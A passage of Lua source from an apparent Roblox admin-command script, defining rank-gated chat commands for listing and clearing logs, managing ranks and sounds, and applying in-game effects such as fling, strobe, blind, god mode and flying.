6409 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6410 else
6411 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6412 if Player then
6413 local RankNum = RANK:ConvertRank(PlayerRank)
6414 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6415 if not RANK:IsSupremeOwner(Player) then
6416 RANK:RemoveRank(Player)
6417 table.insert(Settings.Ranks.Owner, Player)
6418 end
6419 end
6420 else
6421 RANK:RemoveRank(Arguments[1])
6422 table.insert(Settings.Ranks.Owner, Arguments[1])
6423 end
6424 end
6425 end
6426 end};
6427
6428 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6429 local TableStorage = {}
6430 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6431 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6432 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6433 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6434 end};
6435
6436 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6437 local TableStorage = {}
6438 for _,Player in pairs(Server.Players:GetChildren()) do
6439 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6440 if ValidAdmin then
6441 if PlayerRank == "Owner" then
6442 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6443 else
6444 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6445 end
6446 end
6447 end
6448 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6449 end};
6450
6451 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6452 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6453 end};
6454
6455 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6456 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6457 end};
6458
6459 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6460 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6461 end};
6462
6463 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6464 local TableStorage = {}
6465 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6466 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6467 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6468 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6469 end};
6470
6471 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6472 local TableStorage = {}
6473 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6474 for Num,PlayerName in pairs(PlayerNames) do
6475 if PlayerRank == "Owner" then
6476 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6477 else
6478 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6479 end
6480 end
6481 end
6482 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6483 end};
6484
6485 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6486 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6487 end};
6488
6489 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6490 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6491 end};
6492
6493 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6494 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6495 end};
6496
6497 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6498 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6499 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6500 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6501 end};
6502
6503 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6504 CommandLogs = {}
6505 end};
6506
6507 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6508 ChatLogs = {}
6509 end};
6510
6511 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6512 IRC.Logs = {}
6513 end};
6514
6515 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6516 CommandLogs = {}
6517 ChatLogs = {}
6518 IRC.Logs = {}
6519 end};
6520
6521 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6522 Server.GDS:SetAsync("ExploitLog", {})
6523 end};
6524
6525 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6526 local List,Correlate,SoundName = {},{},{}
6527 for Name,Info in pairs(SoundList) do
6528 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6529 table.insert(List, View)
6530 Correlate[View] = Info[1]
6531 end
6532
6533 local CanClick = true
6534 if Rank == "Member" then CanClick = false end
6535 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6536 Clicked.Event:connect(function(ClickName)
6537 local OldSoundId = nil
6538 SOUND:StopGlobalSound()
6539 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6540 SOUND:PlayGlobalSound(Correlate[ClickName])
6541 end
6542 end)
6543 end};
6544
6545 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6546 SOUND:SyncSoundList(Speaker)
6547 end};
6548
6549 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6550 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6551 if Answer == "Yes" then
6552 Server.Workspace.Terrain:Clear()
6553 end
6554 end};
6555
6556 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6557 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6558 if Answer == "Yes" then
6559 for _,Obj in pairs(Workspace:GetChildren()) do
6560 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6561 Obj:Destroy()
6562 end
6563 end
6564 end
6565 end};
6566
6567 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6568 CORE:MakeBase()
6569 end};
6570
6571 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6572 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6573 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6574 CustomSounds = {}
6575 end
6576 if tostring(Arguments[1]) then
6577 local Request = MARKET:GetItemInfo(Arguments[1])
6578 if Request.AssetTypeId == 3 then
6579 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6580 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6581 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6582 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6583 else
6584 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6585 end
6586 end
6587 end};
6588
6589 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6590 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6591 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6592 CustomSounds = {}
6593 end
6594
6595 local Removed = {}
6596 for Num,Data in pairs(CustomSounds) do
6597 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6598 table.insert(Removed, Data[1])
6599 table.remove(CustomSounds, Num)
6600 end
6601 end
6602
6603 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6604
6605 SOUND:SyncSoundList()
6606
6607 if #Removed > 0 then
6608 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6609 else
6610 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6611 end
6612 end};
6613
6614 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6615 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6616 if Answer == "Yes" then
6617 Server.GDS:SetAsync("MML Custom Sounds", {})
6618 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6619 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6620 end
6621 end};
6622
6623 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6624 local Players = STRING:Scan(Arguments[1], Speaker)
6625 local SpeakerTesting = false
6626 for _,Player in pairs(Players) do
6627 if Player == Speaker then SpeakerTesting = true end
6628 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6629 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6630 --wait(10)
6631 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6632 end)() end
6633 end
6634 if SpeakerTesting == false then
6635 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6636 end
6637 end};
6638
6639 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6640 local Players = STRING:Scan(Arguments[1], Speaker)
6641 local Compile = {}
6642 for _,Player in pairs(Players) do
6643 local PlayerInfo = ClientInfo[Player.Name]
6644 if PlayerInfo then
6645 if PlayerInfo.Benchmark then
6646 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6647 else
6648 table.insert(Compile, Player.Name..": No score")
6649 end
6650 end
6651 end
6652 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6653 end};
6654
6655 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6656 local Players = STRING:Scan(Arguments[1], Speaker)
6657 for _,Player in pairs(Players) do
6658 CORE:Chatted(Arguments[2], Player, true)
6659 end
6660 end};
6661
6662 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6663 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6664 end};
6665
6666 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6667 local Players = STRING:Scan(Arguments[1], Speaker)
6668 for _,Player in pairs(Players) do
6669 if Player.Character ~= nil then
6670 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6671 if Player.Character.Torso:FindFirstChild("Neck") then
6672 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6673 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6674 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6675 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6676 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6677 end
6678 end
6679 end
6680 end
6681 end};
6682
6683 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6684 local Players = STRING:Scan(Arguments[1], Speaker)
6685 for _,Player in pairs(Players) do
6686 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6687 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6688 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6689 end
6690 end
6691 end};
6692
6693 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6694 local Players = STRING:Scan(Arguments[1], Speaker)
6695 for _,Player in pairs(Players) do
6696 local _,RankNum = RANK:GetRank(Player)
6697 if RankNum <= RANK:ConvertRank(Rank) then
6698 CORE:FlingPlayer(Player)
6699 end
6700 end
6701 end};
6702
6703 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6704 local Players = STRING:Scan(Arguments[1], Speaker)
6705 for _,Player in pairs(Players) do
6706 local _,RankNum = RANK:GetRank(Player)
6707 if RankNum <= RANK:ConvertRank(Rank) then
6708 Flings[Player.Name] = true
6709 CORE:FlingPlayer(Player)
6710 end
6711 end
6712 end};
6713
6714 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6715 local Players = STRING:Scan(Arguments[1], Speaker)
6716 for _,Player in pairs(Players) do
6717 local _,RankNum = RANK:GetRank(Player)
6718 if RankNum <= RANK:ConvertRank(Rank) then
6719 Flings[Player.Name] = nil
6720 end
6721 end
6722 end};
6723
6724 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6725 local Players = STRING:Scan(Arguments[1], Speaker)
6726 for _,Player in pairs(Players) do
6727 CORE:Nuke(Player)
6728 end
6729 end};
6730
6731 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6732 local Players = STRING:Scan(Arguments[1], Speaker)
6733 for _,Player in pairs(Players) do
6734 Beeps[Player.Name] = true
6735 SOUND:BeepPlayer(Player)
6736 end
6737 end};
6738
6739 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6740 local Players = STRING:Scan(Arguments[1], Speaker)
6741 for _,Player in pairs(Players) do
6742 if Player.PlayerGui then
6743 Beeps[Player.Name] = nil
6744 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6745 if Obj.Name == "Annoy" then
6746 Obj:Stop()
6747 Obj:Destroy()
6748 end
6749 end
6750 end
6751 end
6752 end};
6753
6754 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6755 local Time = Arguments[1]
6756 if Time == "day" or Time == "noon" then Time = "12" end
6757 if Time == "night" or Time == "midnight" then Time = "0" end
6758 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6759 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6760 if Time == "afternoon" then Time = "15:30" end
6761 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6762 end};
6763
6764 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6765 local Players = STRING:Scan(Arguments[1], Speaker)
6766 for _,Player in pairs(Players) do
6767 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6768 end
6769 end};
6770
6771 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6772 local AbuseMode = false
6773 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6774 local Players = STRING:Scan(Arguments[1], Speaker)
6775 for _,Player in pairs(Players) do
6776 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6777 end
6778 end};
6779
6780 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6781 local Players = STRING:Scan(Arguments[1], Speaker)
6782 for _,Player in pairs(Players) do
6783 CORE:Insert(125013769, Player.Backpack, true)
6784 end
6785 end};
6786
6787 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6788 local Players = STRING:Scan(Arguments[1], Speaker)
6789 for _,Player in pairs(Players) do
6790 if Player.Character then
6791 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6792 end
6793 end
6794 end};
6795
6796 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6797 CORE:ResetLighting()
6798 repeat
6799 Server.Lighting.Ambient = Color3.new(1,1,1)
6800 Server.Lighting.FogColor = Color3.new(1,1,1)
6801 Server.Lighting.Brightness = 1
6802 Server.Lighting.TimeOfDay = 14
6803 wait(0.1)
6804 Server.Lighting.Ambient = Color3.new(0,0,0)
6805 Server.Lighting.FogColor = Color3.new(0,0,0)
6806 Server.Lighting.Brightness = 0
6807 Server.Lighting.TimeOfDay = 0
6808 wait(0.1)
6809 until ModLighting == false
6810 end};
6811
6812 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6813 CORE:ResetLighting()
6814 repeat
6815 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6816 Server.Lighting.Ambient = Color
6817 Server.Lighting.FogColor = Color
6818 Server.Lighting.TimeOfDay = 0
6819 Server.Lighting.FogEnd = 500
6820 wait(0.1)
6821 until ModLighting == false
6822 end};
6823
6824 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6825 CORE:FixLighting()
6826 end};
6827
6828 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6829 local Players = STRING:Scan(Arguments[1], Speaker)
6830 for _,Player in pairs(Players) do
6831 if Player:FindFirstChild("PlayerGui") then
6832 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6833 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6834 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6835 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6836 end
6837 end
6838 end};
6839
6840 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6841 local Players = STRING:Scan(Arguments[1], Speaker)
6842 for _,Player in pairs(Players) do
6843 if Player:FindFirstChild("PlayerGui") then
6844 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6845 end
6846 end
6847 end};
6848
6849 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6850 local Players = STRING:Scan(Arguments[1], Speaker)
6851 for _,Player in pairs(Players) do
6852 if Player:FindFirstChild("PlayerGui") then
6853 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6854 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6855 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6856 end
6857 end
6858 end};
6859
6860 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6861 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6862 if Suc then
6863 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6864 else
6865 Server.TS:Teleport(game.PlaceId, Speaker)
6866 end
6867 end};
6868
6869 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6870 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6871 end};
6872
6873 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6874 local NewAbuse = Arguments[1]
6875 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6876 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6877 end
6878
6879 local Match = false
6880 for _,AbuseCmd in pairs(Settings.AbuseList) do
6881 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6882 Match = true
6883 break
6884 end
6885 end
6886 if not Match then
6887 table.insert(Settings.AbuseList, NewAbuse)
6888 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6889 else
6890 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6891 end
6892 CORE:SetAbuseCommands()
6893 end};
6894
6895 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6896 local NewAbuse = Arguments[1]
6897 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6898 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6899 end
6900
6901 local Removed = false
6902 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6903 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6904 Removed = true
6905 table.remove(Settings.AbuseList, Num)
6906 end
6907 end
6908 if Removed then
6909 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6910 else
6911 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6912 end
6913 CORE:SetAbuseCommands()
6914 end};
6915
6916 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6917 local Players = STRING:Scan(Arguments[1], Speaker)
6918 for _,Player in pairs(Players) do
6919 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6920 Player.Character.Humanoid.MaxHealth = math.huge
6921 Player.Character.Humanoid.Health = math.huge
6922 end
6923 end
6924 end};
6925
6926 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6927 local Players = STRING:Scan(Arguments[1], Speaker)
6928 for _,Player in pairs(Players) do
6929 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6930 if Player.Character.Humanoid.MaxHealth == math.huge then
6931 Player.Character.Humanoid.MaxHealth = 100
6932 Player.Character.Humanoid.Health = 100
6933 else
6934 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6935 end
6936 end
6937 end
6938 end};
6939
6940 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6941 local Players = STRING:Scan(Arguments[1], Speaker)
6942 for _,Player in pairs(Players) do
6943 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6944 local Char = Player.Character
6945 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6946 end
6947 end
6948 end};
6949
6950 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6951 if tonumber(Arguments[2]) then
6952 local Players = STRING:Scan(Arguments[1], Speaker)
6953 for _,Player in pairs(Players) do
6954 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6955 Player.Character.Humanoid.Health = Arguments[2]
6956 end
6957 end
6958 end
6959 end};
6960
6961 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6962 if tonumber(Arguments[2]) then
6963 local Players = STRING:Scan(Arguments[1], Speaker)
6964 for _,Player in pairs(Players) do
6965 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6966 local Speed = tonumber(Arguments[2])
6967 if Speed then
6968 if Rank == "Member" then
6969 if Speed > 1000 then Speed = 1000
6970 elseif Speed < -1000 then Speed = -1000 end
6971 end
6972 Player.Character.Humanoid.WalkSpeed = Speed
6973 end
6974 end
6975 end
6976 end
6977 end};
6978
6979 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6980 if tonumber(Arguments[2]) then
6981 local Players = STRING:Scan(Arguments[1], Speaker)
6982 for _,Player in pairs(Players) do
6983 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6984 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6985 end
6986 end
6987 end
6988 end};
6989
6990 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6991 local Players = STRING:Scan(Arguments[1], Speaker)
6992 for _,Player in pairs(Players) do
6993 CORE:Fly(Player, 10000)
6994 end
6995 end};
6996
6997 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6998 local Players = STRING:Scan(Arguments[1], Speaker)
6999 for _,Player in pairs(Players) do
7000 CORE:Fly(Player, 1000000)
7001 end
7002 end};
7003
7004 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7005 local Players = STRING:Scan(Arguments[1], Speaker)
7006 for _,Player in pairs(Players) do
7007 if Player.Character then
7008 if Player.Character:FindFirstChild("StopMMLFly") then
7009 Player.Character.StopMMLFly:InvokeClient(Player)
7010 end
7011 end
7012 end
7013 end};
7014
7015 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
7016 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
7017 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
7018 end};
7019
7020 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
7021 local Players = STRING:Scan(Arguments[1], Speaker)
7022 for _,Player in pairs(Players) do
7023 CORE:GiveTools(Player, Arguments[2])
7024 end
7025 end};
7026
7027 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
7028 local List = {}
7029 for _,Region in pairs(ToolRegions) do
7030 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
7031 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
